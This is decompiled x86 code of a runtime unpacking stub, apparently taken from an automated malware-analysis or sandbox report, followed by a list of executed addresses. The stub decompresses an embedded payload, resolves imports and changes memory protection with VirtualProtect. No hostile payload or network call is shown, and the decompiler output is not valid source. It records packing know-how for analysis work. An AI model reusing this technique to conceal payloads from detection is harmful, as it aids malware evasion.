				long _v176;
				char _v296;
				char _v308;
				char _v16004;
				void* _t363;
				void* _t365;
				void* _t369;
				void* _t370;

				if(_a8 != 1) {
					L154:
					_t376 = _a8 - 1;
					if(_a8 == 1) {
						E02768A4A();
					}
					_push(_a4);
					_t363 = E027685E5(_t365, _a12, _a8, _t369, _t370, _t376); // executed
					return _t363;
				} else {
					asm("pushad");
					__esi = "y(ProcessParameters)";
					__edi = __esi - 0xc000;
					_push(__edi);
					__ebp = __esp;
					__ebx =  &_v16004;
					__eax = 0;
					__eflags = 0;
					do {
						_push(0);
						__eflags = __esp - __ebx;
					} while (__esp != __ebx);
					__esi = __esi + 1;
					__esi = __esi + 1;
					_push(__ebx);
					_push(0xf580);
					_push(__edi);
					__ebx = __ebx + 4;
					_push(__ebx);
					_push(0x4ec7);
					_push(__esi);
					__ebx = __ebx + 4;
					_push(__ebx);
					_push(0);
					 *__ebx = 0x20003;
					_push(__ebp);
					_push(__edi);
					_push(__esi);
					_push(__ebx);
					__esp = __esp - 0x7c;
					__edx = _v36;
					_v64 = 0;
					_v65 = 0;
					__ebp = _v24;
					__eax = __edx + 4;
					_v60 = __edx + 4;
					__eax = 1;
					__ecx =  *(__edx + 2) & 0x000000ff;
					1 = 1 << __cl;
					1 << __cl = (1 << __cl) - 1;
					_v72 = (1 << __cl) - 1;
					__ecx =  *(__edx + 1) & 0x000000ff;
					1 << __cl = (1 << __cl) - 1;
					_v76 = (1 << __cl) - 1;
					__eax = _v12;
					__esi =  *__edx & 0x000000ff;
					 *_v24 = 0;
					_v84 = 0;
					 *_v12 = 0;
					__eax = 0x300;
					_v80 = __esi;
					_v88 = 1;
					_v92 = 1;
					_v96 = 1;
					_v100 = 1;
					 *(__edx + 1) & 0x000000ff = __esi + ( *(__edx + 1) & 0x000000ff);
					_t26 = (0x300 << __cl) + 0x736; // 0xa36
					__ecx = _t26;
					__eflags = _v64 - _t26;
					if(_v64 < _t26) {
						__eax = _v60;
						 *__eax = 0x400;
						__eax = __eax + 2;
						asm("loop 0xfffffff8");
					}
					__ebx = _v32;
					__edi = 0;
					_v108 = 0xffffffff;
					__ebx = __ebx + _v28;
					_v104 = __ebx + _v28;
					__edx = 0;
					__eflags = 0;
					while(1) {
						__eflags = __ebx - _v104;
						if(__ebx == _v104) {
							break;
						}
						__eax =  *__ebx & 0x000000ff;
						__edi = __edi << 8;
						__edx = __edx + 1;
						__ebx = __ebx + 1;
						__edi = __edi | __eax;
						__eflags = __edx - 4;
						if(__edx <= 4) {
							continue;
						} else {
							__ecx = _v16;
							__eflags = _v64 - _v16;
							if(_v64 >= _v16) {
								L131:
								__ebx = __ebx - _v32;
								__eax = 0;
								__eflags = 0;
								__edx = _v24;
								__ecx = _v64;
								 *__edx = __ebx;
								__ebx = _v12;
								 *_v12 = _v64;
							} else {
								do {
									__esi = _v64;
									__esi = _v64 & _v72;
									__eax = _v84;
									__edx = _v60;
									__eax = _v84 << 4;
									_v112 = __esi;
									__eax = __esi + (_v84 << 4);
									__eflags = _v108 - 0xffffff;
									__ebp = __edx + (__esi + (_v84 << 4)) * 2;
									if(_v108 > 0xffffff) {
										L15:
										__eax = _v108;
										__dx =  *__ebp;
										__eax = _v108 >> 0xb;
										__ecx = __dx & 0x0000ffff;
										__eax = (_v108 >> 0xb) * __ecx;
										__eflags = __edi - __eax;
										if(__edi >= __eax) {
											__ecx = _v108;
											__edi = __edi - __eax;
											__esi = _v84;
											__ecx = _v108 - __eax;
											__eax = __edx;
											__ax = __ax >> 5;
											__dx = __dx - __ax;
											__eflags = __ecx - 0xffffff;
											 *__ebp = __dx;
											__ebp = _v60;
											__esi = _v60 + _v84 * 2;
											_v124 = _v60 + _v84 * 2;
											if(__ecx > 0xffffff) {
												L42:
												__ebp = _v124;
												__ecx = __ecx >> 0xb;
												__dx = _a380;
												__ebp = __dx & 0x0000ffff;
												__eax = (__ecx >> 0xb) * __ebp;
												__eflags = __edi - __eax;
												if(__edi >= __eax) {
													__esi = __ecx;
													__edi = __edi - __eax;
													__esi = __ecx - __eax;
													__eax = __edx;
													__ax = __ax >> 5;
													__ecx = _v124;
													__dx = __dx - __ax;
													__eflags = __esi - 0xffffff;
													 *(__ecx + 0x180) = __dx;
													if(__esi > 0xffffff) {
														L47:
														__ebp = _v124;
														__esi = __esi >> 0xb;
														__cx = _a404;
														__eax = __cx & 0x0000ffff;
														__edx = (__esi >> 0xb) * __eax;
														__eflags = __edi - __edx;
														if(__edi >= __edx) {
															__eax = __ecx;
															__esi = __esi - __edx;
															__ax = __ax >> 5;
															__ebp = _v124;
															__cx = __cx - __ax;
															__edi = __edi - __edx;
															__eflags = __esi - 0xffffff;
															_a404 = __cx;
															if(__esi > 0xffffff) {
																L58:
																__ecx = _v124;
																__esi = __esi >> 0xb;
																__dx =  *(_v124 + 0x1b0);
																__ecx = __dx & 0x0000ffff;
																__eax = (__esi >> 0xb) * __ecx;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	__ecx = __esi;
																	__edi = __edi - __eax;
																	__ecx = __esi - __eax;
																	__eax = __edx;
																	__ax = __ax >> 5;
																	__dx = __dx - __ax;
																	__eax = _v124;
																	__eflags = __ecx - 0xffffff;
																	 *(_v124 + 0x1b0) = __dx;
																	if(__ecx > 0xffffff) {
																		L63:
																		__esi = _v124;
																		__ecx = __ecx >> 0xb;
																		__dx =  *(_v124 + 0x1c8);
																		__ebp = __dx & 0x0000ffff;
																		__eax = (__ecx >> 0xb) * __ebp;
																		__eflags = __edi - __eax;
																		if(__edi >= __eax) {
																			__esi = __ecx;
																			__edi = __edi - __eax;
																			__esi = __ecx - __eax;
																			__eax = __edx;
																			__ax = __ax >> 5;
																			__dx = __dx - __ax;
																			__eflags = __dx;
																			__eax = _v124;
																			 *(_v124 + 0x1c8) = __dx;
																			__edx = _v96;
																			__eax = _v100;
																			_v100 = __edx;
																		} else {
																			__esi = __eax;
																			__eax = 0x800;
																			__eax = 0x800 - __ebp;
																			__ebp = _v124;
																			__eax = __edx + __eax;
																			_a452 = __ax;
																			__eax = _v96;
																		}
																		__ecx = _v92;
																		_v96 = _v92;
																		goto L67;
																	} else {
																		__eflags = __ebx - _v104;
																		if(__ebx == _v104) {
																			goto L129;
																		} else {
																			__eax =  *__ebx & 0x000000ff;
																			__edi = __edi << 8;
																			__ecx = __ecx << 8;
																			__ebx = __ebx + 1;
																			__edi = __edi | __eax;
																			__eflags = __edi;
																			goto L63;
																		}
																	}
																} else {
																	__esi = __eax;
																	0x800 = 0x800 - __ecx;
																	__ebp = _v124;
																	0x800 - __ecx >> 5 = __edx + (0x800 - __ecx >> 5);
																	_a428 = __ax;
																	__eax = _v92;
																	L67:
																	__ebp = _v88;
																	_v88 = __eax;
																	_v92 = _v88;
																	goto L68;
																}
															} else {
																__eflags = __ebx - _v104;
																if(__ebx == _v104) {
																	goto L129;
																} else {
																	__eax =  *__ebx & 0x000000ff;
																	__edi = __edi << 8;
																	__esi = __esi << 8;
																	__ebx = __ebx + 1;
																	__edi = __edi | __eax;
																	__eflags = __edi;
																	goto L58;
																}
															}
														} else {
															__ebp = 0x800;
															__esi = __edx;
															__ebp = 0x800 - __eax;
															_v128 = 0x800;
															__eax = 0x800 - __eax;
															__eax = __ecx + __eax;
															__ecx = _v124;
															 *(_v124 + 0x198) = __ax;
															__eax = _v84;
															__ecx = _v112;
															__eax = _v84 << 5;
															__eax = (_v84 << 5) + _v60;
															__eflags = __edx - 0xffffff;
															__ebp = (_v84 << 5) + _v60 + _v112 * 2;
															if(__edx > 0xffffff) {
																L51:
																__dx = _a476;
																__esi = __esi >> 0xb;
																__ecx = __dx & 0x0000ffff;
																__eax = (__esi >> 0xb) * __ecx;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	__esi = __esi - __eax;
																	__edi = __edi - __eax;
																	__eax = __edx;
																	__ax = __ax >> 5;
																	_a476 = __dx;
																	L68:
																	__eax = 0;
																	__eflags = _v84 - 6;
																	__ecx = _v60;
																	__eax = 0 | _v84 - 0x00000006 > 0x00000000;
																	__ecx = _v60 + 0xa68;
																	__eflags = __ecx;
																	_v84 = __eax;
																	goto L69;
																} else {
																	_v128 = _v128 - __ecx;
																	_v128 = _v128 >> 5;
																	__esi = _v128;
																	_v108 = __eax;
																	__eflags = _v64;
																	__eax = __edx + _v128;
																	_a476 = __ax;
																	if(_v64 == 0) {
																		goto L129;
																	} else {
																		__eax = 0;
																		__eflags = _v84 - 6;
																		__ebp = _v20;
																		__edx = _v64;
																		__eax = 0 | _v84 - 0x00000006 > 0x00000000;
																		_v84 = __eax;
																		__eax = _v64;
																		__eax = _v64 - _v88;
																		__al =  *((intOrPtr*)(__ebp + _v64 - _v88));
																		_v65 = __al;
																		 *(__edx + __ebp) = __al;
																		__edx = __edx + 1;
																		_v64 = __edx;
																		goto L125;
																	}
																}
															} else {
																__eflags = __ebx - _v104;
																if(__ebx == _v104) {
																	goto L129;
																} else {
																	__eax =  *__ebx & 0x000000ff;
																	__edi = __edi << 8;
																	__esi = __esi << 8;
																	__ebx = __ebx + 1;
																	__edi = __edi | __eax;
																	__eflags = __edi;
																	goto L51;
																}
															}
														}
													} else {
														__eflags = __ebx - _v104;
														if(__ebx == _v104) {
															goto L129;
														} else {
															__eax =  *__ebx & 0x000000ff;
															__edi = __edi << 8;
															__esi = __esi << 8;
															__ebx = __ebx + 1;
															__edi = __edi | __eax;
															__eflags = __edi;
															goto L47;
														}
													}
												} else {
													__esi = __eax;
													__eax = 0x800;
													__eax = 0x800 - __ebp;
													__ebp = _v92;
													__eax = __eax >> 5;
													__ecx = _v96;
													__eax = __edx + __eax;
													__edx = _v124;
													_v100 = _v96;
													__ecx = _v60;
													 *(__edx + 0x180) = __ax;
													__eax = _v88;
													_v96 = _v92;
													_v92 = _v88;
													__eax = 0;
													__eflags = _v84 - 6;
													__eax = 0 | _v84 - 0x00000006 > 0x00000000;
													__ecx = _v60 + 0x664;
													_v84 = __eax;
													L69:
													__eflags = __esi - 0xffffff;
													if(__esi > 0xffffff) {
														L72:
														__dx =  *__ecx;
														__esi = __esi >> 0xb;
														__ebp = __dx & 0x0000ffff;
														__eax = (__esi >> 0xb) * __ebp;
														__eflags = __edi - __eax;
														if(__edi >= __eax) {
															__esi = __esi - __eax;
															__edi = __edi - __eax;
															__eax = __edx;
															__ax = __ax >> 5;
															__dx = __dx - __ax;
															__eflags = __esi - 0xffffff;
															 *__ecx = __dx;
															if(__esi > 0xffffff) {
																L77:
																__dx =  *(__ecx + 2);
																__esi = __esi >> 0xb;
																__ebp = __dx & 0x0000ffff;
																__eax = (__esi >> 0xb) * __ebp;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	__esi = __esi - __eax;
																	__edi = __edi - __eax;
																	__eax = __edx;
																	_v108 = __esi;
																	__ax = __ax >> 5;
																	_v136 = 0x10;
																	__dx = __dx - __ax;
																	_v132 = 8;
																	 *(__ecx + 2) = __dx;
																	__ecx = __ecx + 0x204;
																	__eflags = __ecx;
																	_v164 = __ecx;
																} else {
																	_v108 = __eax;
																	0x800 = 0x800 - __ebp;
																	_t227 =  &_v112;
																	 *_t227 = _v112 << 4;
																	__eflags =  *_t227;
																	__eax = 0x800 - __ebp >> 5;
																	_v136 = 8;
																	__eax = __edx + (0x800 - __ebp >> 5);
																	__edx = _v112;
																	 *(__ecx + 2) = __ax;
																	_v164 = __ecx;
																	goto L79;
																}
																goto L81;
															} else {
																__eflags = __ebx - _v104;
																if(__ebx == _v104) {
																	goto L129;
																} else {
																	__eax =  *__ebx & 0x000000ff;
																	__edi = __edi << 8;
																	__esi = __esi << 8;
																	__ebx = __ebx + 1;
																	__edi = __edi | __eax;
																	__eflags = __edi;
																	goto L77;
																}
															}
														} else {
															_v108 = __eax;
															0x800 = 0x800 - __ebp;
															_v112 = _v112 << 4;
															__eax = 0x800 - __ebp >> 5;
															_v136 = 0;
															__eax = __edx + (0x800 - __ebp >> 5);
															 *__ecx = __ax;
															__eax = _v112;
															_v164 = __ecx;
															L79:
															_v132 = 3;
															L81:
															__ecx = _v132;
															__edx = 1;
															_v140 = _v132;
															do {
																__ebp = __edx + __edx;
																__esi = _v164;
																__esi = _v164 + __ebp;
																__eflags = _v108 - 0xffffff;
																if(_v108 > 0xffffff) {
																	goto L85;
																} else {
																	__eflags = __ebx - _v104;
																	if(__ebx == _v104) {
																		goto L129;
																	} else {
																		_v108 = _v108 << 8;
																		__eax =  *__ebx & 0x000000ff;
																		__edi = __edi << 8;
																		__ebx = __ebx + 1;
																		__edi = __edi | __eax;
																		__eflags = __edi;
																		goto L85;
																	}
																}
																goto L132;
																L85:
																__eax = _v108;
																__dx =  *__esi;
																__eax = _v108 >> 0xb;
																__ecx = __dx & 0x0000ffff;
																__eax = (_v108 >> 0xb) * __ecx;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	_v108 = _v108 - __eax;
																	__edi = __edi - __eax;
																	__eax = __edx;
																	__ax = __ax >> 5;
																	__dx = __dx - __ax;
																	__eflags = __dx;
																	 *__esi = __dx;
																	_t255 =  &_v3; // 0x2
																	__edx = _t255;
																} else {
																	_v108 = __eax;
																	0x800 = 0x800 - __ecx;
																	0x800 - __ecx >> 5 = __edx + (0x800 - __ecx >> 5);
																	__edx = __ebp;
																	 *__esi = __ax;
																}
																__esi = _v140;
																__esi = _v140 - 1;
																__eflags = __esi;
																_v140 = __esi;
															} while (__esi != 0);
															__cl = _v132;
															1 = 1 << __cl;
															__edx = __edx - (1 << __cl);
															__edx = __edx + _v136;
															__eflags = _v84 - 3;
															_v168 = __edx;
															if(_v84 > 3) {
																L120:
																__ecx = _v168;
																__ebp = _v64;
																__ecx = _v168 + 2;
																__eflags = _v88 - __ebp;
																if(_v88 > __ebp) {
																	goto L129;
																} else {
																	__eax = _v20;
																	__edx = __ebp;
																	__eax = _v20 - _v88;
																	__edx = _v20 + __ebp;
																	__eflags = __edx;
																	__esi = _v20 - _v88 + __ebp;
																	while(1) {
																		__al =  *__esi;
																		__esi = __esi + 1;
																		_v65 = __al;
																		 *__edx = __al;
																		__edx = __edx + 1;
																		_v64 = _v64 + 1;
																		__ecx = __ecx - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			goto L125;
																		}
																		__ebp = _v16;
																		__eflags = _v64 - _v16;
																		if(_v64 < _v16) {
																			continue;
																		} else {
																			goto L126;
																		}
																		goto L132;
																	}
																	goto L125;
																}
															} else {
																_v84 = _v84 + 7;
																__eflags = __edx - 3;
																__eax = __edx;
																if(__edx > 3) {
																	__eax = 3;
																}
																__esi = _v60;
																__eax = __eax << 7;
																__eflags = __eax;
																_v144 = 6;
																_v172 = __eax;
																__eax = 1;
																do {
																	__ebp = __eax + __eax;
																	__esi = _v172;
																	__esi = _v172 + __ebp;
																	__eflags = _v108 - 0xffffff;
																	if(_v108 > 0xffffff) {
																		goto L96;
																	} else {
																		__eflags = __ebx - _v104;
																		if(__ebx == _v104) {
																			goto L129;
																		} else {
																			_v108 = _v108 << 8;
																			__eax =  *__ebx & 0x000000ff;
																			__edi = __edi << 8;
																			__ebx = __ebx + 1;
																			__edi = __edi | __eax;
																			__eflags = __edi;
																			goto L96;
																		}
																	}
																	goto L132;
																	L96:
																	__eax = _v108;
																	__dx =  *__esi;
																	__eax = _v108 >> 0xb;
																	__ecx = __dx & 0x0000ffff;
																	__eax = (_v108 >> 0xb) * __ecx;
																	__eflags = __edi - __eax;
																	if(__edi >= __eax) {
																		_v108 = _v108 - __eax;
																		__edi = __edi - __eax;
																		__eax = __edx;
																		__ax = __ax >> 5;
																		__dx = __dx - __ax;
																		__eflags = __dx;
																		_t280 =  &_v3; // 0x2
																		__eax = _t280;
																		 *__esi = __dx;
																	} else {
																		_v108 = __eax;
																		0x800 = 0x800 - __ecx;
																		0x800 - __ecx >> 5 = __edx + (0x800 - __ecx >> 5);
																		 *__esi = __ax;
																		__eax = __ebp;
																	}
																	__ebp = _v144;
																	__ebp =  &_v5;
																	__eflags = __ebp;
																	_v144 = __ebp;
																} while (__ebp != 0);
																_t283 = __eax - 0x40; // -62
																__edx = _t283;
																__eflags = __edx - 3;
																 *__esp = __edx;
																if(__edx <= 3) {
																	L119:
																	__esi =  *__esp;
																	__esi =  *__esp + 1;
																	__eflags = __esi;
																	_v88 = __esi;
																	if(__esi == 0) {
																		break;
																	} else {
																		goto L120;
																	}
																} else {
																	__eax = __edx;
																	__esi = __edx;
																	__eax = __edx >> 1;
																	__esi = __edx & 0x00000001;
																	_t284 = __eax - 1; // -63
																	__ecx = _t284;
																	__esi = __edx & 0x00000001 | 0x00000002;
																	__eflags = __edx - 0xd;
																	_v148 = _t284;
																	if(__edx > 0xd) {
																		_t290 = __eax - 5; // -67
																		__edx = _t290;
																		do {
																			__eflags = _v108 - 0xffffff;
																			if(_v108 > 0xffffff) {
																				goto L107;
																			} else {
																				__eflags = __ebx - _v104;
																				if(__ebx == _v104) {
																					goto L129;
																				} else {
																					_v108 = _v108 << 8;
																					__eax =  *__ebx & 0x000000ff;
																					__edi = __edi << 8;
																					__ebx = __ebx + 1;
																					__edi = __edi | __eax;
																					__eflags = __edi;
																					goto L107;
																				}
																			}
																			goto L132;
																			L107:
																			_v108 = _v108 >> 1;
																			__esi = __esi + __esi;
																			__eflags = __edi - _v108;
																			if(__edi >= _v108) {
																				__edi = __edi - _v108;
																				__esi = __esi | 0x00000001;
																				__eflags = __esi;
																			}
																			__edx = __edx - 1;
																			__eflags = __edx;
																		} while (__edx != 0);
																		__eax = _v60;
																		 *__esp = __esi;
																		__eax = _v60 + 0x644;
																		__eflags = __eax;
																		_v148 = 4;
																		_v176 = __eax;
																		goto L111;
																	} else {
																		__ebp = _v60;
																		__esi = __esi << __cl;
																		__edx = __edx + __edx;
																		 *__esp = __esi;
																		__ebp + __esi * 2 = __ebp + __esi * 2 - __edx;
																		__eax = __ebp + __esi * 2 - __edx + 0x55e;
																		_v176 = __ebp + __esi * 2 - __edx + 0x55e;
																		L111:
																		_v152 = 1;
																		__eax = 1;
																		do {
																			__ebp = _v176;
																			__eax = __eax + __eax;
																			_v156 = __eax;
																			__ebp = _v176 + __eax;
																			__eflags = _v108 - 0xffffff;
																			if(_v108 > 0xffffff) {
																				goto L115;
																			} else {
																				__eflags = __ebx - _v104;
																				if(__ebx == _v104) {
																					goto L129;
																				} else {
																					_v108 = _v108 << 8;
																					__eax =  *__ebx & 0x000000ff;
																					__edi = __edi << 8;
																					__ebx = __ebx + 1;
																					__edi = __edi | __eax;
																					__eflags = __edi;
																					goto L115;
																				}
																			}
																			goto L132;
																			L115:
																			__eax = _v108;
																			__dx =  *__ebp;
																			__eax = _v108 >> 0xb;
																			__esi = __dx & 0x0000ffff;
																			__eax = (_v108 >> 0xb) * __esi;
																			__eflags = __edi - __eax;
																			if(__edi >= __eax) {
																				_v108 = _v108 - __eax;
																				__edi = __edi - __eax;
																				__eax = __edx;
																				__ax = __ax >> 5;
																				__dx = __dx - __ax;
																				__eax = _v156;
																				 *__ebp = __dx;
																				__edx = _v152;
																				__eax = _v156 + 1;
																				 *__esp =  *__esp | __edx;
																				__eflags =  *__esp;
																			} else {
																				_v108 = __eax;
																				0x800 = 0x800 - __esi;
																				0x800 - __esi >> 5 = __edx + (0x800 - __esi >> 5);
																				 *__ebp = __ax;
																				__eax = _v156;
																			}
																			__ecx = _v148;
																			_v152 = _v152 << 1;
																			__ecx = _v148 - 1;
																			__eflags = __ecx;
																			_v148 = __ecx;
																		} while (__ecx != 0);
																		goto L119;
																	}
																}
															}
														}
													} else {
														__eflags = __ebx - _v104;
														if(__ebx == _v104) {
															goto L129;
														} else {
															__eax =  *__ebx & 0x000000ff;
															__edi = __edi << 8;
															__esi = __esi << 8;
															__ebx = __ebx + 1;
															__edi = __edi | __eax;
															__eflags = __edi;
															goto L72;
														}
													}
												}
											} else {
												__eflags = __ebx - _v104;
												if(__ebx == _v104) {
													goto L129;
												} else {
													__eax =  *__ebx & 0x000000ff;
													__edi = __edi << 8;
													__ecx = __ecx << 8;
													__ebx = __ebx + 1;
													__edi = __edi | __eax;
													__eflags = __edi;
													goto L42;
												}
											}
										} else {
											_v108 = __eax;
											0x800 = 0x800 - __ecx;
											__cl = _v80;
											__eax = 0x800 - __ecx >> 5;
											__esi = 1;
											__eax = __edx + (0x800 - __ecx >> 5);
											__edx = _v65 & 0x000000ff;
											 *__ebp = __ax;
											_v64 = _v64 & _v76;
											__ebp = _v60;
											__eax = (_v64 & _v76) << __cl;
											__ecx = 8;
											__ecx = 8 - _v80;
											__edx = (_v65 & 0x000000ff) >> __cl;
											__eax = ((_v64 & _v76) << __cl) + ((_v65 & 0x000000ff) >> __cl);
											__eax = (((_v64 & _v76) << __cl) + ((_v65 & 0x000000ff) >> __cl)) * 0x600;
											__eflags = _v84 - 6;
											__eax = _v60 + 0xe6c + (((_v64 & _v76) << __cl) + ((_v65 & 0x000000ff) >> __cl)) * 0x600;
											_v160 = _v60 + 0xe6c + (((_v64 & _v76) << __cl) + ((_v65 & 0x000000ff) >> __cl)) * 0x600;
											if(_v84 <= 6) {
												L28:
												__edx = __esi + __esi;
												__ebp = _v160;
												__ebp = __edx + _v160;
												__eflags = _v108 - 0xffffff;
												if(_v108 > 0xffffff) {
													L31:
													__eax = _v108;
													__cx =  *__ebp;
													__eax = _v108 >> 0xb;
													__esi = __cx & 0x0000ffff;
													__eax = (_v108 >> 0xb) * __esi;
													__eflags = __edi - __eax;
													if(__edi >= __eax) {
														_v108 = _v108 - __eax;
														__edi = __edi - __eax;
														__eax = __ecx;
														_t100 = __edx + 1; // 0x1
														__esi = _t100;
														__ax = __ax >> 5;
														 *__ebp = __cx;
													} else {
														_v108 = __eax;
														__eax = 0x800;
														__eax = 0x800 - __esi;
														__esi = __edx;
														__eax = __ecx + __eax;
														 *__ebp = __ax;
													}
													goto L27;
												} else {
													__eflags = __ebx - _v104;
													if(__ebx == _v104) {
														goto L129;
													} else {
														_v108 = _v108 << 8;
														__eax =  *__ebx & 0x000000ff;
														__edi = __edi << 8;
														__ebx = __ebx + 1;
														__edi = __edi | __eax;
														__eflags = __edi;
														goto L31;
													}
												}
											} else {
												__eax = _v64;
												__eax = _v64 - _v88;
												__eflags = __eax;
												__edx = _v20;
												_v116 = __eax;
												do {
													_v116 = _v116 << 1;
													__ecx = _v116;
													__edx = __esi + __esi;
													__ebp = _v160;
													__ecx = _v116 & 0x00000100;
													__eflags = _v108 - 0xffffff;
													__eax = _v160 + __ecx * 2;
													_v120 = __ecx;
													__ebp = __edx + _v160 + __ecx * 2;
													if(_v108 > 0xffffff) {
														L21:
														__eax = _v108;
														__cx = _a508;
														__eax = _v108 >> 0xb;
														__esi = __cx & 0x0000ffff;
														__eax = (_v108 >> 0xb) * __esi;
														__eflags = __edi - __eax;
														if(__edi >= __eax) {
															_v108 = _v108 - __eax;
															__edi = __edi - __eax;
															__eax = __ecx;
															__esi = __edx + 1;
															__ax = __ax >> 5;
															__cx = __cx - __ax;
															__eflags = _v120;
															_a508 = __cx;
															if(_v120 == 0) {
																goto L27;
															} else {
																goto L25;
															}
														} else {
															_v108 = __eax;
															__eax = 0x800;
															__eax = 0x800 - __esi;
															__esi = __edx;
															__eax = __eax >> 5;
															__eflags = _v120;
															__eax = __ecx + __eax;
															_a508 = __ax;
															if(_v120 == 0) {
																goto L25;
															} else {
																L27:
																__eflags = __esi - 0xff;
																if(__esi > 0xff) {
																	L34:
																	__edx = _v64;
																	__eax = __esi;
																	__ecx = _v20;
																	_v65 = __al;
																	 *(__edx + _v20) = __al;
																	__edx = __edx + 1;
																	__eflags = _v84 - 3;
																	_v64 = __edx;
																	if(_v84 > 3) {
																		__eflags = _v84 - 9;
																		if(_v84 > 9) {
																			_v84 = _v84 - 6;
																		} else {
																			_v84 = _v84 - 3;
																		}
																	} else {
																		_v84 = 0;
																	}
																	goto L125;
																} else {
																	goto L28;
																}
															}
														}
													} else {
														__eflags = __ebx - _v104;
														if(__ebx == _v104) {
															goto L129;
														} else {
															_v108 = _v108 << 8;
															__eax =  *__ebx & 0x000000ff;
															__edi = __edi << 8;
															__ebx = __ebx + 1;
															__edi = __edi | __eax;
															__eflags = __edi;
															goto L21;
														}
													}
													goto L132;
													L25:
													__eflags = __esi - 0xff;
												} while (__esi <= 0xff);
												goto L34;
											}
										}
									} else {
										__eflags = __ebx - _v104;
										if(__ebx == _v104) {
											goto L129;
										} else {
											_v108 = _v108 << 8;
											__eax =  *__ebx & 0x000000ff;
											__edi = __edi << 8;
											__ebx = __ebx + 1;
											__edi = __edi | __eax;
											__eflags = __edi;
											goto L15;
										}
									}
									goto L132;
									L125:
									__eax = _v16;
									__eflags = _v64 - _v16;
								} while (_v64 < _v16);
								L126:
								__eflags = _v108 - 0xffffff;
								if(_v108 > 0xffffff) {
									goto L131;
								} else {
									__eflags = __ebx - _v104;
									__eax = 1;
									if(__ebx != _v104) {
										__ebx = __ebx + 1;
										__eflags = __ebx;
										goto L131;
									}
								}
							}
						}
						L132:
						__esp =  &(__esp[0x1f]);
						_pop(__ebx);
						_pop(__esi);
						_pop(__edi);
						_pop(__ebp);
						__esi = __esi +  *((intOrPtr*)(__ebx - 4));
						__edi = __edi +  *((intOrPtr*)(__ebx - 8));
						__eax = 0;
						__eflags = 0;
						__ecx =  &_v296;
						__esp = __ebp;
						do {
							_push(0);
							__eflags = __esp - __ecx;
						} while (__esp != __ecx);
						__esp = __ebp;
						__ecx = 0;
						__eflags = 0;
						_pop(__esi);
						__edi = __esi;
						__ecx = 0x13a;
						goto L135;
						do {
							do {
								L135:
								__al =  *__edi;
								__edi = __edi + 1;
								__al = __al - 0xe8;
								__eflags = __al - 1;
							} while (__al > 1);
							__eflags =  *__edi - 5;
						} while ( *__edi != 5);
						__eax =  *__edi;
						__bl =  *(__edi + 4);
						__ax = __ax >> 8;
						asm("rol eax, 0x10");
						_t346 = __al;
						__al = __ah;
						__ah = _t346;
						__eax =  *__edi - __edi;
						__bl =  *(__edi + 4) - 0xe8;
						__eax = __esi +  *__edi - __edi;
						 *__edi = __esi +  *__edi - __edi;
						__eflags = __edi;
						__al = __bl;
						asm("loop 0xffffffdb");
						_t347 = __esi + 0xe000; // 0xe000
						__edi = _t347;
						while(1) {
							L138:
							__eax =  *__edi;
							__eax =  *__edi;
							__eflags = __eax;
							if(__eax == 0) {
								break;
							}
							__ebx =  *(__edi + 4);
							__eax = __eax + __esi + 0x12000;
							__ebx = __esi +  *(__edi + 4);
							__edi = __edi + 8;
							__eflags = __edi;
							_t352 =  *((intOrPtr*)(__esi + 0x12100))(__eax);
							__eax = __ebp;
							__ebp = _t352;
							while(1) {
								__al =  *__edi;
								__edi = __edi + 1;
								__eflags = __al;
								if(__eflags == 0) {
									goto L138;
								}
								__ecx = __edi;
								if(__eflags < 0) {
									__eax =  *__edi & 0x0000ffff;
									__edi = __edi + 1;
									_push(__eax);
									__edi = __edi + 1;
									__eflags = __edi;
									__ecx = 0xaef24857;
								}
								__eax = __eax - 1;
								asm("repne scasb");
								__eax =  *((intOrPtr*)(__esi + 0x12104))(__ebp, __edi);
								__eax = __eax;
								__eflags = __eax;
								if(__eax == 0) {
									asm("popad");
									__eax = 0;
									__eflags = 0;
									return 0;
								} else {
									 *__ebx = __eax;
									__ebx = __ebx + 4;
									continue;
								}
								goto L155;
							}
						}
						__edi = __edi + 4;
						__eflags = __edi;
						_t354 = __esi - 4; // -4
						__ebx = _t354;
						while(1) {
							__eax = 0;
							__al =  *__edi;
							__edi = __edi + 1;
							__eax = 0;
							__eflags = 0;
							if(0 == 0) {
								break;
							}
							__eflags = __al - 0xef;
							if(__al > 0xef) {
								__al = __al & 0x0000000f;
								__eax = 0 << 0x10;
								__ax =  *__edi;
								__edi = __edi + 2;
							}
							__ebx = __ebx + __eax;
							__eax =  *__ebx;
							_t355 = __al;
							__al = __ah;
							__ah = _t355;
							asm("rol eax, 0x10");
							_t356 = __al;
							__al = _t355;
							__ah = _t356;
							__eax = __esi +  *__ebx;
							 *__ebx = __esi +  *__ebx;
						}
						__ebp =  *(__esi + 0x12108);
						_t358 = __esi - 0x1000; // -4096
						__edi = _t358;
						__ebx = 0x1000;
						_push(0);
						__eax = VirtualProtect(__edi, 0x1000, 4, __esp);
						_t359 = __edi + 0x1f7; // -3593
						__eax = _t359;
						 *__eax =  *__eax & 0x0000007f;
						_t360 = __eax + 0x28;
						 *_t360 =  *(__eax + 0x28) & 0x0000007f;
						__eflags =  *_t360;
						_pop(__eax);
						__eax = VirtualProtect(__edi, 0x1000, __eax, __esp); // executed
						__eax = __eax;
						asm("popad");
						__eax =  &_v308;
						do {
							_push(0);
							__eflags = __esp - __eax;
						} while (__eflags != 0);
						__esp = __esp - 0xffffff80;
						goto L154;
					}
					L129:
					__eax = 1;
					goto L132;
				}
				L155:
			}

0x02771ed5
0x02772aa9
0x02768700
0x02768704
0x02768706
0x02768706
0x0276870b
0x02768714
0x0276871b
0x02771edb
0x02771edb
0x02771edc
0x02771ee1
0x02771ee7
0x02771ee8
0x02771eea
0x02771ef1
0x02771ef1
0x02771ef3
0x02771ef3
0x02771ef4
0x02771ef4
0x02771ef8
0x02771ef9
0x02771efa
0x02771efb
0x02771f00
0x02771f01
0x02771f04
0x02771f05
0x02771f0a
0x02771f0b
0x02771f0e
0x02771f0f
0x02771f10
0x02771f16
0x02771f17
0x02771f18
0x02771f19
0x02771f1a
0x02771f1d
0x02771f24
0x02771f2c
0x02771f31
0x02771f38
0x02771f3b
0x02771f3f
0x02771f44
0x02771f4a
0x02771f4e
0x02771f4f
0x02771f53
0x02771f59
0x02771f5a
0x02771f5e
0x02771f65
0x02771f68
0x02771f6f
0x02771f77
0x02771f7d
0x02771f82
0x02771f86
0x02771f8e
